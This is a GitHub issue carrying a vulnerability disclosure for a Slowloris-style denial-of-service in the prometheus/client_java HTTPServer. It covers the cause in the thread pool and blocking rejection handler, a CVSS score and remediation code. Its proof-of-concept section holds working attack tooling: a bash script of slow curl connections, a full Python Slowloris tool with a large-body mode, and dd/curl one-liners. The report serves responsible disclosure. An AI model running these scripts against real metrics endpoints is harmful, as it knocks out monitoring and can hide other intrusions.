Title: # Security Report: Thread Pool Exhaustion via Slow Clients (Slowloris-style DoS) in prometheus/client_java HTTPServer · Issue #2284 · prometheus/client_java · GitHub
Open Graph Title: # Security Report: Thread Pool Exhaustion via Slow Clients (Slowloris-style DoS) in prometheus/client_java HTTPServer · Issue #2284 · prometheus/client_java
X Title: # Security Report: Thread Pool Exhaustion via Slow Clients (Slowloris-style DoS) in prometheus/client_java HTTPServer · Issue #2284 · prometheus/client_java
Description: Security Report: Thread Pool Exhaustion via Slow Clients (Slowloris-style DoS) in prometheus/client_java HTTPServer 1. Vulnerability Summary Field Value Product prometheus/client_java (Prometheus Java Client Library) Affected Version 1.8...
Open Graph Description: Security Report: Thread Pool Exhaustion via Slow Clients (Slowloris-style DoS) in prometheus/client_java HTTPServer 1. Vulnerability Summary Field Value Product prometheus/client_java (Prometheus J...
X Description: Security Report: Thread Pool Exhaustion via Slow Clients (Slowloris-style DoS) in prometheus/client_java HTTPServer 1. Vulnerability Summary Field Value Product prometheus/client_java (Prometheus J...
Opengraph URL: https://github.com/prometheus/client_java/issues/2284
X: @github
Domain: github.com
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"# Security Report: Thread Pool Exhaustion via Slow Clients (Slowloris-style DoS) in prometheus/client_java HTTPServer","articleBody":"# Security Report: Thread Pool Exhaustion via Slow Clients (Slowloris-style DoS) in prometheus/client_java HTTPServer\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|------------------------|-----------------------------------------------------------------------------------------------|\n| **Product** | prometheus/client_java (Prometheus Java Client Library) |\n| **Affected Version** | 1.8.0 (main branch); all prior 1.x releases using `prometheus-metrics-exporter-httpserver` are likely affected |\n| **Component** | `prometheus-metrics-exporter-httpserver` |\n| **Vulnerable File** | `prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java` |\n| **Vulnerable Lines** | 335-348 (thread pool), 163-170 (drain input) |\n| **Additional File** | `prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/BlockingRejectedExecutionHandler.java` |\n| **CWE** | CWE-770: Allocation of Resources Without Limits or Throttling |\n| **CVSS 3.1 Score** | **5.3 (Medium)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` |\n| **Repository** | https://github.com/prometheus/client_java |\n\n---\n\n## 2. Vulnerability Description\n\nA denial-of-service vulnerability exists in the `HTTPServer` component of the Prometheus Java client library. The built-in HTTP server that exposes the `/metrics` endpoint uses a thread pool with a hard-coded maximum of 10 threads combined with a `BlockingRejectedExecutionHandler` that blocks indefinitely when the pool is exhausted. An unauthenticated attacker can trivially exhaust all 10 threads by opening slow connections (a Slowloris-style attack), after which all subsequent requests -- including legitimate Prometheus scrapes -- block indefinitely rather than being rejected with an appropriate HTTP error.\n\nThe vulnerability is composed of three interacting design flaws:\n\n1. **Hard-coded thread pool maximum of 10:** The `makeExecutorService()` method at lines 335-348 creates a `ThreadPoolExecutor` with a maximum pool size of 10 and a `SynchronousQueue`. The `SynchronousQueue` has zero capacity, meaning tasks can only be handed off to a waiting thread and cannot be queued. Once all 10 threads are occupied by slow connections, no further tasks can be accepted.\n\n2. **Indefinite blocking on rejection:** The `BlockingRejectedExecutionHandler` (lines 9-17 of `BlockingRejectedExecutionHandler.java`) calls `threadPoolExecutor.getQueue().put(runnable)` when all threads are busy. Since the queue is a `SynchronousQueue`, `put()` blocks indefinitely until a thread becomes available. This means new incoming requests are never rejected with an HTTP 503 -- they simply hang forever.\n\n3. **Unbounded request body consumption:** The `drainInputAndClose()` method at lines 163-170 reads the entire HTTP request body with no size limit, allowing an attacker to further amplify thread occupation time by sending arbitrarily large request bodies.\n\n---\n\n## 3. Root Cause Analysis\n\n### 3.1 Vulnerable Code: Thread Pool Construction\n\n**File:** `HTTPServer.java`, lines 335-348\n\n```java\nprivate ExecutorService makeExecutorService() {\n if (executorService != null) {\n return executorService;\n } else {\n return new ThreadPoolExecutor(\n 1, // core pool size: only 1 thread kept alive when idle\n 10, // maximum pool size: HARD LIMIT of 10 threads\n 120,\n TimeUnit.SECONDS,\n new SynchronousQueue\u003c>(true), // zero-capacity queue\n NamedDaemonThreadFactory.defaultThreadFactory(true),\n new BlockingRejectedExecutionHandler()); // blocks forever on exhaustion\n }\n}\n```\n\nThe configuration choices create a perfect storm for denial-of-service:\n\n- **`maximumPoolSize = 10`:** This is an extremely low ceiling for any network server. An attacker needs to occupy only 10 concurrent connections to completely exhaust the pool.\n- **`SynchronousQueue`:** Unlike bounded queues (e.g., `LinkedBlockingQueue`), a `SynchronousQueue` has no internal buffer. Each `offer()` must be matched by a corresponding `take()` from a consumer thread. When all 10 threads are busy, the queue cannot accept any tasks.\n- **`BlockingRejectedExecutionHandler`:** Instead of rejecting excess tasks (the standard behavior of `ThreadPoolExecutor.AbortPolicy`, `CallerRunsPolicy`, or `DiscardPolicy`), this handler blocks the calling thread forever.\n\n### 3.2 Vulnerable Code: Blocking Rejection Handler\n\n**File:** `BlockingRejectedExecutionHandler.java`, lines 6-18\n\n```java\nclass BlockingRejectedExecutionHandler implements RejectedExecutionHandler {\n\n @Override\n public void rejectedExecution(Runnable runnable, ThreadPoolExecutor threadPoolExecutor) {\n if (!threadPoolExecutor.isShutdown()) {\n try {\n threadPoolExecutor.getQueue().put(runnable); // Blocks INDEFINITELY\n } catch (InterruptedException ignored) {\n // ignore\n }\n }\n }\n}\n```\n\nWhen the `ThreadPoolExecutor` rejects a task (because all 10 threads are busy and the `SynchronousQueue` cannot accept the task), this handler calls `getQueue().put(runnable)`. On a `SynchronousQueue`, `put()` is a blocking operation that waits indefinitely for a consumer thread to become available. The thread that calls `rejectedExecution` -- which is the JDK `HttpServer`'s internal dispatcher thread -- is blocked until one of the 10 worker threads finishes processing its current connection.\n\nThe consequence is that while all 10 threads are held by slow clients, the internal dispatcher thread itself is also blocked, meaning no new connections can be dispatched at all. The server becomes completely unresponsive.\n\n### 3.3 Vulnerable Code: Unbounded Request Body Drain\n\n**File:** `HTTPServer.java`, lines 163-170\n\n```java\nprivate void drainInputAndClose(HttpExchange httpExchange) throws IOException {\n InputStream inputStream = httpExchange.getRequestBody();\n byte[] b = new byte[4096];\n while (inputStream.read(b) != -1) {\n // nop -- reads ENTIRE body with no size limit\n }\n inputStream.close();\n}\n```\n\nThis method reads the complete request body in 4096-byte chunks without enforcing any maximum size. Although `drainInputAndClose` is only called from the `wrapWithDoAs` path (when `subjectAttributeName` is configured and authentication fails), a similar pattern of reading the full request occurs within the JDK `HttpServer` implementation itself for all requests. An attacker can send arbitrarily large request bodies at very low transfer rates to maximize the time each thread is occupied.\n\n### 3.4 Partial Mitigation: `maxReqTime` / `maxRspTime`\n\nThe `HTTPServer` static initializer (lines 42-50) sets JDK system properties for request and response timeouts:\n\n```java\nstatic {\n if (!System.getProperties().containsKey(\"sun.net.httpserver.maxReqTime\")) {\n System.setProperty(\"sun.net.httpserver.maxReqTime\", \"60\");\n }\n if (!System.getProperties().containsKey(\"sun.net.httpserver.maxRspTime\")) {\n System.setProperty(\"sun.net.httpserver.maxRspTime\", \"600\");\n }\n}\n```\n\nThese JDK-internal properties provide a partial mitigation:\n- `maxReqTime=60`: The JDK `HttpServer` will close connections that take longer than 60 seconds to receive a complete request.\n- `maxRspTime=600`: The JDK `HttpServer` will close connections that take longer than 600 seconds (10 minutes) to send a response.\n\nHowever, this mitigation is insufficient for several reasons:\n\n1. **60 seconds is still long enough:** An attacker holding 10 connections for 60 seconds causes a full 60-second outage of the metrics endpoint. Prometheus scrape intervals are typically 15-30 seconds, meaning at least 2-4 scrape cycles are missed.\n2. **Properties can be overridden:** The code only sets these properties if they are not already present. An application or deployment framework may set different (or infinite) values.\n3. **`maxRspTime` is 10 minutes:** Response timeout is set to 600 seconds, meaning a slow-reading client can occupy a thread for up to 10 minutes.\n4. **`sun.net.httpserver` properties are undocumented:** These are internal JDK implementation details with no guarantee of behavior across JDK vendors and versions.\n5. **The `BlockingRejectedExecutionHandler` is not bounded by these timeouts:** The indefinite blocking in `put()` is independent of the JDK `HttpServer` timeout mechanism.\n\n### 3.5 Small Connection Backlog\n\nAdditionally, the server is created with a TCP backlog of only 3:\n\n```java\nhttpServer = HttpServer.create(makeInetSocketAddress(), 3);\n```\n\nThis means only 3 connections can be queued at the OS level while the server is busy. Combined with the 10-thread limit, the server can handle at most 13 concurrent connection attempts before refusing connections at the TCP level.\n\n---\n\n## 4. Attack Flow\n\n```\nAttacker HTTPServer (10-thread pool)\n | |\n |--- Slow Connection #1 -------> Thread 1 occupied (slow read/write)\n |--- Slow Connection #2 -------> Thread 2 occupied\n |--- Slow Connection #3 -------> Thread 3 occupied\n | ... ...\n |--- Slow Connection #10 ------> Thread 10 occupied\n | |\n | ALL 10 THREADS NOW EXHAUSTED |\n | |\n |--- Connection #11 -----------> BlockingRejectedExecutionHandler.put()\n | BLOCKS INDEFINITELY\n | |\n Prometheus Server |\n |--- GET /metrics --------------> Cannot be dispatched\n | Scrape TIMES OUT\n | |\n | Monitoring gap -- alerts not firing |\n```\n\n---\n\n## 5. CVSS 3.1 Detailed Breakdown\n\n| Metric | Value | Justification |\n|----------------------------|----------------|-------------------------------------------------------------------------------------------------------|\n| **Attack Vector (AV)** | Network (N) | The `/metrics` HTTP endpoint is network-accessible. The `HTTPServer` binds to a network socket (default: all interfaces). |\n| **Attack Complexity (AC)** | Low (L) | No special conditions required. The attacker needs only to open 10 slow TCP connections to the metrics port. No race conditions, no special configuration, no authentication bypass needed. |\n| **Privileges Required (PR)** | None (N) | The `HTTPServer` does not require authentication by default. The `Authenticator` is an optional builder parameter that is `null` unless explicitly configured. |\n| **User Interaction (UI)** | None (N) | No user interaction is needed. The attacker sends HTTP requests directly to the endpoint. |\n| **Scope (S)** | Unchanged (U) | The vulnerability affects the availability of the metrics endpoint only, not other system components. |\n| **Confidentiality (C)** | None (N) | No information disclosure occurs. |\n| **Integrity (I)** | None (N) | No data modification occurs. |\n| **Availability (A)** | Low (L) | The metrics endpoint becomes unresponsive, causing Prometheus scrape failures. The partial mitigation from `maxReqTime=60` means the DoS is temporary (approximately 60 seconds per attack wave) unless the attacker maintains a continuous stream of slow connections. The application itself continues to run; only the metrics exposure endpoint is affected. |\n\n**CVSS 3.1 Vector String:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`\n**CVSS 3.1 Base Score:** **5.3 (Medium)**\n\n**Note on Availability rating (Low vs. High):** The Availability impact is rated Low rather than High because (a) the `maxReqTime=60` system property provides partial mitigation by eventually closing stale connections, (b) the attack affects only the metrics endpoint and not the application's primary functionality, and (c) the DoS requires continuous attacker effort to sustain. If the `maxReqTime` property were removed or set to an extremely large value, the Availability impact would escalate to High.\n\n---\n\n## 6. Proof of Concept\n\n### 6.1 Prerequisites\n\n- A Java application using `prometheus-metrics-exporter-httpserver` with the built-in `HTTPServer`\n- Network access to the metrics HTTP port (default or configured port)\n- `curl`, `nc` (netcat), or Python 3 installed on the attacker machine\n\n### 6.2 Vulnerable Server Setup\n\n```java\nimport io.prometheus.metrics.core.metrics.Counter;\nimport io.prometheus.metrics.exporter.httpserver.HTTPServer;\n\npublic class VulnerableMetricsServer {\n public static void main(String[] args) throws Exception {\n Counter requestsTotal = Counter.builder()\n .name(\"requests_total\")\n .help(\"Total requests\")\n .register();\n\n HTTPServer server = HTTPServer.builder()\n .port(9400)\n .buildAndStart();\n\n System.out.println(\"Metrics server started on port \" + server.getPort());\n\n // Simulate application activity\n while (true) {\n requestsTotal.inc();\n Thread.sleep(1000);\n }\n }\n}\n```\n\n### 6.3 Attack Method 1: Slow Clients via curl (Simple)\n\n```bash\n#!/bin/bash\n# slowloris_curl.sh -- Exhaust thread pool with slow-downloading clients\n# Usage: ./slowloris_curl.sh \u003ctarget_host> \u003ctarget_port>\n\nTARGET_HOST=\"${1:-localhost}\"\nTARGET_PORT=\"${2:-9400}\"\nTHREADS=10 # Matches the hard-coded maximum pool size\n\necho \"[*] Target: http://${TARGET_HOST}:${TARGET_PORT}/metrics\"\necho \"[*] Launching ${THREADS} slow connections to exhaust the thread pool...\"\n\n# Phase 1: Open 10 slow connections (one per thread)\nfor i in $(seq 1 ${THREADS}); do\n # --limit-rate 1: Download at 1 byte/second, holding the thread for the\n # entire duration of the response transfer.\n curl --silent --limit-rate 1 \\\n --max-time 120 \\\n \"http://${TARGET_HOST}:${TARGET_PORT}/metrics\" \\\n -o /dev/null &\n echo \" [+] Slow connection #${i} started (PID: $!)\"\ndone\n\necho \"\"\necho \"[*] Waiting 5 seconds for all threads to be occupied...\"\nsleep 5\n\n# Phase 2: Attempt a legitimate scrape -- this will hang\necho \"[*] Attempting legitimate metrics scrape (should hang or timeout)...\"\necho \"[*] Running: curl --max-time 10 http://${TARGET_HOST}:${TARGET_PORT}/metrics\"\n\nSTART=$(date +%s)\nHTTP_CODE=$(curl --silent --max-time 10 \\\n -o /dev/null -w \"%{http_code}\" \\\n \"http://${TARGET_HOST}:${TARGET_PORT}/metrics\" 2>&1)\nEND=$(date +%s)\nELAPSED=$((END - START))\n\nif [ \"$HTTP_CODE\" = \"000\" ]; then\n echo \"\"\n echo \"[!] VULNERABILITY CONFIRMED: Request timed out after ${ELAPSED}s\"\n echo \"[!] The metrics endpoint is completely unresponsive.\"\n echo \"[!] Prometheus scrapes will fail, creating a monitoring gap.\"\nelif [ \"$HTTP_CODE\" = \"200\" ]; then\n echo \"\"\n echo \"[-] Request succeeded (HTTP ${HTTP_CODE}) in ${ELAPSED}s.\"\n echo \"[-] Thread pool may not be fully exhausted. Try increasing THREADS.\"\nelse\n echo \"\"\n echo \"[?] Unexpected HTTP code: ${HTTP_CODE} after ${ELAPSED}s\"\nfi\n\n# Cleanup\necho \"\"\necho \"[*] Cleaning up background curl processes...\"\nkill $(jobs -p) 2>/dev/null\nwait 2>/dev/null\necho \"[*] Done.\"\n```\n\n### 6.4 Attack Method 2: Slowloris via Raw Sockets (Python)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nslowloris_prometheus.py -- Thread Pool Exhaustion PoC for prometheus/client_java HTTPServer\n\nDemonstrates a Slowloris-style DoS against the Prometheus Java client's\nbuilt-in HTTPServer by exhausting its 10-thread pool with slow connections.\n\nUsage:\n python3 slowloris_prometheus.py --host localhost --port 9400\n\"\"\"\n\nimport argparse\nimport socket\nimport time\nimport threading\nimport sys\n\n\ndef slow_connection(host, port, conn_id, hold_seconds=90):\n \"\"\"\n Open a connection and send an HTTP request very slowly,\n one byte at a time, to hold a thread in the server's pool.\n \"\"\"\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.settimeout(hold_seconds + 10)\n sock.connect((host, port))\n\n # Send HTTP request headers very slowly -- one byte per second\n request = f\"GET /metrics HTTP/1.1\\r\\nHost: {host}\\r\\n\"\n for char in request:\n sock.send(char.encode())\n time.sleep(1) # 1 byte per second\n\n # Keep the connection open without completing the request\n # (no final \\r\\n to terminate headers)\n print(f\" [+] Connection #{conn_id}: holding thread \"\n f\"(incomplete request, {hold_seconds}s hold)\")\n\n # Hold the connection open\n time.sleep(hold_seconds)\n sock.close()\n print(f\" [-] Connection #{conn_id}: released after {hold_seconds}s\")\n\n except Exception as e:\n print(f\" [!] Connection #{conn_id}: {e}\")\n\n\ndef test_metrics_endpoint(host, port, timeout=10):\n \"\"\"\n Attempt a legitimate scrape of the /metrics endpoint.\n Returns (success: bool, elapsed_seconds: float, response: str).\n \"\"\"\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.settimeout(timeout)\n start = time.time()\n sock.connect((host, port))\n request = f\"GET /metrics HTTP/1.1\\r\\nHost: {host}\\r\\n\\r\\n\"\n sock.send(request.encode())\n response = sock.recv(4096).decode(errors='replace')\n elapsed = time.time() - start\n sock.close()\n return True, elapsed, response[:200]\n except socket.timeout:\n elapsed = time.time() - start\n return False, elapsed, \"TIMEOUT\"\n except Exception as e:\n elapsed = time.time() - start\n return False, elapsed, str(e)\n\n\ndef large_body_attack(host, port, conn_id, size_mb=100):\n \"\"\"\n Send an HTTP POST with a very large body at a slow rate to\n exploit the unbounded drainInputAndClose() method.\n \"\"\"\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.settimeout(120)\n sock.connect((host, port))\n\n # Send headers declaring a large body\n headers = (\n f\"POST / HTTP/1.1\\r\\n\"\n f\"Host: {host}\\r\\n\"\n f\"Content-Length: {size_mb * 1024 * 1024}\\r\\n\"\n f\"\\r\\n\"\n )\n sock.send(headers.encode())\n print(f\" [+] Connection #{conn_id}: sending {size_mb}MB body slowly...\")\n\n # Send body data at 1KB/second\n chunk = b'\\x00' * 1024\n bytes_sent = 0\n target = size_mb * 1024 * 1024\n while bytes_sent \u003c target:\n sock.send(chunk)\n bytes_sent += len(chunk)\n time.sleep(1)\n\n sock.close()\n except Exception as e:\n print(f\" [!] Connection #{conn_id} (large body): {e}\")\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description=\"Slowloris DoS PoC for prometheus/client_java HTTPServer\"\n )\n parser.add_argument(\"--host\", default=\"localhost\", help=\"Target host\")\n parser.add_argument(\"--port\", type=int, default=9400, help=\"Target port\")\n parser.add_argument(\"--threads\", type=int, default=10,\n help=\"Number of slow connections (default: 10, matching pool max)\")\n parser.add_argument(\"--hold\", type=int, default=90,\n help=\"Seconds to hold each connection (default: 90)\")\n parser.add_argument(\"--mode\", choices=[\"slowloris\", \"largebod\", \"both\"],\n default=\"slowloris\",\n help=\"Attack mode (default: slowloris)\")\n args = parser.parse_args()\n\n print(\"=\" * 70)\n print(\" Prometheus client_java HTTPServer -- Thread Pool Exhaustion PoC\")\n print(\"=\" * 70)\n print(f\"\\n Target: http://{args.host}:{args.port}/metrics\")\n print(f\" Mode: {args.mode}\")\n print(f\" Threads: {args.threads} (server max pool size: 10)\")\n print(f\" Hold time: {args.hold}s (server maxReqTime: 60s)\")\n print()\n\n # Step 1: Verify the target is reachable\n print(\"[Phase 0] Verifying target is reachable...\")\n success, elapsed, response = test_metrics_endpoint(args.host, args.port)\n if success:\n print(f\" [OK] Metrics endpoint responded in {elapsed:.2f}s\")\n print(f\" [OK] Response preview: {response[:100]}...\")\n else:\n print(f\" [FAIL] Cannot reach target: {response}\")\n sys.exit(1)\n print()\n\n # Step 2: Launch slow connections\n print(f\"[Phase 1] Launching {args.threads} slow connections...\")\n attack_threads = []\n for i in range(1, args.threads + 1):\n if args.mode in (\"slowloris\", \"both\"):\n t = threading.Thread(\n target=slow_connection,\n args=(args.host, args.port, i, args.hold),\n daemon=True\n )\n else:\n t = threading.Thread(\n target=large_body_attack,\n args=(args.host, args.port, i),\n daemon=True\n )\n t.start()\n attack_threads.append(t)\n time.sleep(0.1) # Stagger connections slightly\n\n # If mode is \"both\", also launch large body attacks\n if args.mode == \"both\":\n print(f\"\\n[Phase 1b] Launching {args.threads} large-body connections...\")\n for i in range(args.threads + 1, args.threads * 2 + 1):\n t = threading.Thread(\n target=large_body_attack,\n args=(args.host, args.port, i),\n daemon=True\n )\n t.start()\n attack_threads.append(t)\n\n # Step 3: Wait for threads to be occupied\n print(f\"\\n[Phase 2] Waiting 10 seconds for server threads to be occupied...\\n\")\n time.sleep(10)\n\n # Step 4: Test if legitimate scrape is blocked\n print(\"[Phase 3] Attempting legitimate metrics scrape...\")\n print(f\" Timeout set to 15 seconds (Prometheus default scrape_timeout)\\n\")\n\n for attempt in range(1, 4):\n print(f\" --- Attempt #{attempt} ---\")\n success, elapsed, response = test_metrics_endpoint(\n args.host, args.port, timeout=15\n )\n if not success:\n print(f\" [!] BLOCKED: Request failed after {elapsed:.2f}s\")\n print(f\" [!] Result: {response}\")\n print(f\" [!] VULNERABILITY CONFIRMED: Metrics endpoint is unresponsive\")\n else:\n print(f\" [*] Response received in {elapsed:.2f}s\")\n if elapsed > 5.0:\n print(f\" [!] WARNING: Response was severely delayed ({elapsed:.2f}s)\")\n print(f\" [!] Thread pool is under pressure\")\n else:\n print(f\" [-] Endpoint still responsive. Pool may not be fully exhausted.\")\n print()\n time.sleep(2)\n\n # Summary\n print(\"=\" * 70)\n print(\" ATTACK SUMMARY\")\n print(\"=\" * 70)\n print(f\"\"\"\n The prometheus/client_java HTTPServer uses a ThreadPoolExecutor with:\n - Maximum pool size: 10 (hard-coded)\n - Queue: SynchronousQueue (zero capacity)\n - Rejection policy: BlockingRejectedExecutionHandler (blocks forever)\n\n Attack impact:\n - {args.threads} slow connections exhaust all available threads\n - The 11th connection triggers BlockingRejectedExecutionHandler.put()\n - put() blocks INDEFINITELY on the zero-capacity SynchronousQueue\n - Prometheus scrapes time out, creating monitoring blind spots\n - Alerting systems fail to fire, potentially masking other attacks\n\n Partial mitigation present (but insufficient):\n - sun.net.httpserver.maxReqTime=60 (threads released after 60s)\n - BUT: attacker can simply reconnect, causing repeated 60s outages\n - AND: maxRspTime=600 allows response-phase holds of 10 minutes\n\"\"\")\n\n # Cleanup\n print(\"[*] Attack demonstration complete. Background threads will terminate.\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n### 6.5 Attack Method 3: Large Request Body via drainInputAndClose\n\n```bash\n# Send a 1GB request body at default speed -- the server thread will read\n# the entire body in drainInputAndClose() without any size limit.\n# Note: drainInputAndClose is called when subjectAttributeName is set\n# and the authenticated subject check fails.\ndd if=/dev/zero bs=1M count=1024 | \\\n curl -X POST \"http://localhost:9400/\" --data-binary @- &\n\n# Or at a slow rate to maximize thread occupation time:\ndd if=/dev/zero bs=1 count=10000 | \\\n curl --limit-rate 1 -X POST \"http://localhost:9400/\" --data-binary @- &\n```\n\n### 6.6 Expected Results\n\nWhen the PoC is run against a Prometheus Java client `HTTPServer`:\n\n1. The first 10 slow connections each occupy one thread in the pool.\n2. The 11th connection causes the `BlockingRejectedExecutionHandler.put()` to block the JDK `HttpServer` dispatcher.\n3. Any subsequent request (including legitimate Prometheus scrapes) either times out or hangs indefinitely.\n4. After approximately 60 seconds (due to `maxReqTime=60`), the JDK `HttpServer` may close the slow connections, temporarily freeing threads.\n5. If the attacker maintains a continuous stream of slow connections, the DoS is sustained indefinitely.\n\n---\n\n## 7. Impact Analysis\n\n### 7.1 Availability Impact\n\n- **Trivial Thread Pool Exhaustion:** With a hard-coded maximum of 10 threads, an attacker needs only 10 concurrent slow connections to fully exhaust the pool. This is a remarkably low bar for a denial-of-service attack.\n\n- **Indefinite Blocking, Not Graceful Rejection:** The `BlockingRejectedExecutionHandler` ensures that when the pool is exhausted, new requests are not rejected with an HTTP 503 (Service Unavailable) error. Instead, they block indefinitely. This means clients receive no indication of overload and cannot implement retry logic.\n\n- **Prometheus Scrape Failures:** When the metrics endpoint is unresponsive, the Prometheus server's scrape requests time out (default `scrape_timeout: 10s`). This creates gaps in monitoring data. The `up` metric for the target drops to 0, but if the attacker sustains the attack, alerting rules based on metric thresholds will not fire because no data is collected.\n\n- **Monitoring Blind Spots:** A sustained thread pool exhaustion attack against the metrics endpoint can mask other ongoing attacks or system failures. If alerting depends on metrics exposed through this endpoint (CPU usage, error rates, latency percentiles), those alerts become non-functional during the attack.\n\n### 7.2 Amplification via `drainInputAndClose`\n\nThe `drainInputAndClose()` method at lines 163-170 reads the entire HTTP request body without enforcing a maximum size:\n\n```java\nwhile (inputStream.read(b) != -1) {\n // nop -- reads ENTIRE body with no size limit\n}\n```\n\nThis allows an attacker to send multi-gigabyte request bodies, forcing a server thread to spend extended time reading data before it can process the next request. Combined with rate-limiting the upload speed, a single connection can hold a thread for an arbitrarily long time (up to the `maxReqTime` limit).\n\n### 7.3 Deployment Context\n\nThe `HTTPServer` component is used in:\n\n- Standalone Java applications without a servlet container\n- Java agents for JVM instrumentation (e.g., JMX exporters)\n- Microservices exposing metrics on a dedicated port\n\nIn containerized environments (Kubernetes), the metrics port is often accessible from within the cluster network to any pod, expanding the potential attacker surface. Service mesh configurations that expose metrics endpoints through sidecars also inherit this vulnerability.\n\n### 7.4 Comparison with Standard Java HTTP Server Defaults\n\nThe JDK `com.sun.net.httpserver.HttpServer` does not impose a default thread pool limit. When no executor is set, it runs handlers on the caller thread. The Prometheus client library's choice to use a 10-thread pool with a blocking rejection handler creates an artificial and severe constraint that does not exist in the underlying platform.\n\n---\n\n## 8. Affected Component Architecture\n\n```\nIncoming HTTP Request\n |\n v\nJDK com.sun.net.httpserver.HttpServer\n |\n | Dispatches to ExecutorService\n v\nThreadPoolExecutor (max 10, SynchronousQueue)\n |\n | All 10 threads busy?\n |--- No --> Handle request normally\n |--- Yes -> BlockingRejectedExecutionHandler\n |\n v\n getQueue().put(runnable)\n |\n BLOCKS INDEFINITELY\n (SynchronousQueue has zero capacity)\n |\n Dispatcher thread is stuck\n |\n No new requests can be processed\n```\n\n---\n\n## 9. Remediation\n\n### 9.1 Increase Maximum Pool Size and Use a Bounded Queue\n\nReplace the current `ThreadPoolExecutor` configuration with a more robust setup that can handle load spikes:\n\n```java\nprivate ExecutorService makeExecutorService() {\n if (executorService != null) {\n return executorService;\n } else {\n return new ThreadPoolExecutor(\n 4, // core pool size\n 64, // maximum pool size (increased from 10)\n 120,\n TimeUnit.SECONDS,\n new LinkedBlockingQueue\u003c>(128), // bounded queue with backpressure\n NamedDaemonThreadFactory.defaultThreadFactory(true),\n new ThreadPoolExecutor.AbortPolicy()); // reject with RejectedExecutionException\n }\n}\n```\n\n### 9.2 Replace BlockingRejectedExecutionHandler with a Rejection Policy\n\nReplace the indefinite-blocking handler with a policy that returns HTTP 503 to the client:\n\n```java\n// Instead of blocking forever, reject excess requests immediately.\n// The JDK HttpServer will return an appropriate error to the client.\nnew ThreadPoolExecutor.AbortPolicy()\n```\n\nOr implement a custom handler that responds with HTTP 503:\n\n```java\nclass ServiceUnavailableRejectedHandler implements RejectedExecutionHandler {\n @Override\n public void rejectedExecution(Runnable runnable, ThreadPoolExecutor executor) {\n // Log the rejection for monitoring\n Logger.getLogger(\"prometheus-httpserver\")\n .warning(\"Metrics request rejected: thread pool exhausted\");\n // The JDK HttpServer will handle the rejection appropriately\n throw new RejectedExecutionException(\"Thread pool exhausted\");\n }\n}\n```\n\n### 9.3 Add Request Body Size Limits to `drainInputAndClose`\n\nEnforce a maximum request body size to prevent unbounded reads:\n\n```java\nprivate static final int MAX_REQUEST_BODY_SIZE = 64 * 1024; // 64 KB\n\nprivate void drainInputAndClose(HttpExchange httpExchange) throws IOException {\n InputStream inputStream = httpExchange.getRequestBody();\n byte[] b = new byte[4096];\n int totalBytesRead = 0;\n int bytesRead;\n while ((bytesRead = inputStream.read(b)) != -1) {\n totalBytesRead += bytesRead;\n if (totalBytesRead > MAX_REQUEST_BODY_SIZE) {\n break; // Stop reading, discard remaining body\n }\n }\n inputStream.close();\n}\n```\n\n### 9.4 Make Pool Size Configurable\n\nExpose the thread pool configuration through the builder API and/or `PrometheusProperties`:\n\n```java\n// Builder API\npublic Builder maxThreads(int maxThreads) {\n this.maxThreads = maxThreads;\n return this;\n}\n\n// PrometheusProperties\n// io.prometheus.metrics.exporter.httpserver.maxThreads=64\n```\n\n### 9.5 Reduce Request and Response Timeouts\n\nLower the `maxReqTime` default and especially the `maxRspTime` default:\n\n```java\nstatic {\n if (!System.getProperties().containsKey(\"sun.net.httpserver.maxReqTime\")) {\n System.setProperty(\"sun.net.httpserver.maxReqTime\", \"10\"); // 10 seconds\n }\n if (!System.getProperties().containsKey(\"sun.net.httpserver.maxRspTime\")) {\n System.setProperty(\"sun.net.httpserver.maxRspTime\", \"30\"); // 30 seconds (not 600)\n }\n}\n```\n\n### 9.6 Workaround\n\nUsers can provide their own `ExecutorService` via the builder API to override the default pool:\n\n```java\nExecutorService executorService = new ThreadPoolExecutor(\n 4, 64, 120, TimeUnit.SECONDS,\n new LinkedBlockingQueue\u003c>(256),\n new ThreadPoolExecutor.CallerRunsPolicy());\n\nHTTPServer server = HTTPServer.builder()\n .port(9400)\n .executorService(executorService)\n .buildAndStart();\n```\n\nThis workaround is available because the `makeExecutorService()` method checks `if (executorService != null)` first. However, this requires users to be aware of the vulnerability and take proactive action.\n\n---\n\n## 10. References\n\n1. **CWE-770:** [Allocation of Resources Without Limits or Throttling](https://cwe.mitre.org/data/definitions/770.html)\n\n2. **Slowloris Attack:** [OWASP - Slowloris HTTP DoS](https://owasp.org/www-community/attacks/Slowloris)\n\n3. **Java `ThreadPoolExecutor` Documentation:** [java.util.concurrent.ThreadPoolExecutor](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadPoolExecutor.html)\n\n4. **Java `SynchronousQueue` Documentation:** [java.util.concurrent.SynchronousQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/SynchronousQueue.html) -- \"Each insert operation must wait for a corresponding remove operation by another thread, and vice versa.\"\n\n5. **`sun.net.httpserver` System Properties:** JDK internal implementation; see `sun.net.httpserver.ServerConfig` source for `maxReqTime` and `maxRspTime` behavior.\n\n6. **Prometheus client_java GitHub Repository:** [https://github.com/prometheus/client_java](https://github.com/prometheus/client_java)\n\n7. **Vulnerable Source Files:**\n - [`HTTPServer.java`](https://github.com/prometheus/client_java/blob/main/prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java) (lines 335-348, 163-170)\n - [`BlockingRejectedExecutionHandler.java`](https://github.com/prometheus/client_java/blob/main/prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/BlockingRejectedExecutionHandler.java) (lines 6-18)\n\n---\n\n**Reported by:** Security Research Team\n**Date:** 2026-06-24\n**Severity:** Medium (CVSS 5.3)\n**CWE:** CWE-770 (Allocation of Resources Without Limits 